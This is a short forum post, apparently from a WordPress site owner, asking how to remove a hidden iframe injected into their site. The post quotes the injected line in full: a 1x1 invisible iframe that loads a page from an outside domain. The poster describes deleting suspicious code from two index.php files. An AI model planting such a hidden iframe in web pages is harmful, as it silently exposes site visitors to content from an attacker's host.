On my site, the script below is being added:
<iframe width="1" height="1" frameborder="0" src="http://hysofufewobe.com/k985ytv.htm">
I tried searching every file in my WP install directory for "hysofufewobe" but got no results so possibly the code is being obfuscated.
I am not sure if WordPress or my host DreamHost is the problem. I've contacted my host asking if any reports have been made about similar issues. No reply yet. Thought I'd ask here in the meantime.
Anyone know what steps I can take to get rid of this script?
By the way, I made another thread here about this issue but I can't access it for some reason. Please feel free to delete that one if needed.
-edit- I checked /index.php and wp-admin/index.php and found the strange characters below at the very top before the
So I deleted it and everything looks like it's back to normal. The script doesn't append to my markup, either. I am skeptical that simply erasing those lines fixed the entire problem but don't know how to check. Any ideas?